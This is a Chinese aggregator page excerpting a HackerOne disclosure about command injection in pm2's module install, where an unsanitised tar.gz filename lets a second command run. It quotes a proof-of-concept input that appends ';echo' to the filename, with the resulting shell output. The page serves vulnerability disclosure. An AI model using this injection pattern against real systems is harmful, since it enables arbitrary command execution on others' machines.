Command Injection due to lack of sanitisation of tar.gz filename passed as an argument to pm2.install() function
该报告还没有中文解读。
原文摘录
摘自原文(10934 字符中的一小部分)
I would like to report Command Injection in `pm2.import()` function when `tar.gz` archive is installed with a name provided as user controlled input. Due to lack of proper validation of `tar.gz` archive filename, this vulnerability allows to inject arbitrary commands and execute them in context of …
原文中的代码
bl4de:~/playground/Node $ ./pm2 install "foo.tar.gz;echo 'HERE'" [PM2][Module] Installing TAR module [PM2][Module] Installing package foo.tar.gz;echo 'HERE' tar: Error opening archive: Failed to open 'foo.tar.gz' HERE -C /var/folders/c8/18ksckq53x3g_086ss5r_x740000gn/T module/package.json …
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @bl4de · 版权归作者与 Node.js third-party modules 所有